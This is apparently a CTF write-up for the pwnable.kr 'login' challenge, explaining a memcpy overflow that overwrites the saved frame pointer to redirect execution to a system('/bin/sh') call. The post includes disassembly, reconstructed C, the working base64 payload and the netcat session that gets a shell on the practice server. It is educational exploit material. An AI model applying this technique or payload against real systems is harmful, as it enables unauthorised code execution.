Post

Simple login - Pwnable.kr

Fuzzing a little bit we can easily crash the program…there is something weird happening here.

1
2
3
4
$ ./login 
Authenticate : aaaaaaaaaaaaa
hash : 0df08ae957b3d5ae2d6445c9416fe1cd
Segmentation fault (core dumped)

Analyzing a little bit we can realize that the program crashes at the address 0x08049424:

1
2
3
4
5
6
7
8
 ,=< 0x0804940a      7513           jne 0x804941f   
 |   0x0804940c      e84efeffff     call sym.correct        
,==< 0x08049411      eb0c           jmp 0x804941f  
||   0x08049413      c70424baa60d.  mov dword [esp], str.Wrong_Length
||   0x0804941a      e8b12e0100     call sym.puts                                            
``-> 0x0804941f      b800000000     mov eax, 0                                                              
     0x08049424      c9             leave        ; <== The program crashes here
     0x08049425      c3             ret    

The instruction leave is an alias of mov esp, ebp; pop ebp, if we have a closer look to the value of the register ebp before this instruction we can assume this is the cause of the program crashing (together with the part pop ebp of the instruction leave).

After that it should be fairly easy to find where the value of ebp is changing, for this we can just set some watchpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/ (fcn) sym.auth 113                                               
|           ; var int buff @ ebp-0x14                                                  
|           ; var int md5 @ ebp-0xc                                                            
|           ; arg int length @ ebp+0x8                                                         
|           ; arg int fun_arg_2 @ esp+0x4                                                      
|           ; arg int fun_arg_3 @ esp+0x8                                                  
|           ; CALL XREF from 0x08049402 (sym.main)                                   
|           0x0804929c      55             push ebp                                         
|           0x0804929d      89e5           mov ebp, esp                                       
|           0x0804929f      83ec28         sub esp, 0x28                                               
|           0x080492a2      8b4508         mov eax, dword [ebp + length] 
|           0x080492a5      89442408       mov dword [esp + fun_arg_3], eax                            
|           0x080492a9      c744240440eb.  mov dword [esp + fun_arg_2], obj.input
|           0x080492b1      8d45ec         lea eax, [ebp - buff]   
|           0x080492b4      83c00c         add eax, 0xc                                                
|           0x080492b7      890424         mov dword [esp], eax                                        
|           0x080492ba      e8a1030200     call sym.memcpy         

We notice that the function memcpy is overwriting the stored value of ebp, indeed it is copying the content referenced by obj.input into a data segment starting from the address buff + 0xc, i.e. ebp - 0x14 + 0xc which is ebp-0x8. If the value of length is more than eight we can overwrite ebp and maybe the return address. Let’s see where the value of length is coming from:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int auth(int length){

        char copy[8]; // ebp - 0x8
        char* md5;    // ebp - 0xc
        char buff[8]; // ebp - 0x14

        memcpy( copy, input, length); // copy == buff + 0xc
        md5 = calc_md5(buff, 0xc);

        printf("hash: %s\n",md5); 

        return strcmp("f87cd601aa7fedca99018a8be88eda34",md5) == 0;

}

void main(){

    char buff[0x1e]; 
    memset(buff, 0, 0x1e);

    setvbuf(stdout, NULL, _IOFBF, 0); 
    setvbuf(stdin, NULL, _IOLBF, 0);

    printf("Authenticate :\n");
    scanf("%30s", buff);
    
    memset(input, 0, 0xc);

    char* decoded_buff = NULL;
    int length = base64Decode(buff, &decoded_buff); // length decoded buff

    if ( 0xc < length){
        puts("Wrong length");
        return;
    }

    memcpy(input, decoded_buff, length);
    
    if (auth(length) != 1) return;

    correct();
}

Damn, length cannot be bigger than 0xc…it’s ok, we can still control the frame pointer. After we set the value of ebp we can use the instructions leave; ret at the end of the function main to jump to the function correct.

Thanks to leave (i.e. mov esp, ebp) we can control the value of esp, next the instruction ret (i.e. jump [esp]) will let us jump to the address pointed by esp.

So, first of all lets choose an address where to jump…let’s say 0x08049278 (so we can avoid the test).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/ (fcn) sym.correct 61                                                                          
|           ; var int local_ch @ ebp-0xc                                                             
|           ; CALL XREF from 0x0804940c (sym.main)                                                     
|           0x0804925f      55             push ebp                                             
|           0x08049260      89e5           mov ebp, esp                                                     
|           0x08049262      83ec28         sub esp, 0x28                                                    
|           0x08049265      c745f440eb11.  mov dword [ebp - local_ch], obj.input                            
|           0x0804926c      8b45f4         mov eax, dword [ebp - local_ch]                                  
|           0x0804926f      8b00           mov eax, dword [eax]                                             
|           0x08049271      3defbeadde     cmp eax, 0xdeadbeef                                             
|       ,=< 0x08049276      7518           jne 0x8049290             
|       |   0x08049278      c7042451a60d.  mov dword [esp], 0x80da651 
|       |   0x0804927f      e84c300100     call sym.puts                                             
|       |   0x08049284      c704246fa60d.  mov dword [esp], 0x80da66f ; "/bin/sh"
|       |   0x0804928b      e820200100     call sym.system                                           
|       `-> 0x08049290      c70424000000.  mov dword [esp], 0                                               
\           0x08049297      e804140100     call sym.exit              

Now we need to find a zone in memory where we can find the value 0x080492978. For this we can use the zone over which we have complete control. There are several buffers used to store user data and even with ALSR as we are in little endian we could just overwrite the lower bits of the ebp with the right offset in order to reference any data on the stack. But there is an easier solution, we can use obj.input which fixed address is 0x0811eb40.

1
2
>>> base64.b64encode(bytes.fromhex('00000000 78920408 40eb1108'))
b'AAAAAHiSBAhA6xEI'

And then:

1
2
3
4
5
6
$ nc pwnable.kr 9003
Authenticate : AAAAAHiSBAhA6xEI
hash : 1528d0b5bb646c5820b04126329c2c70
Congratulation! you are good!
cat flag
control EBP, control ESP, ******* EIP, ******* *** *****~
This post is licensed under CC BY 4.0 by the author.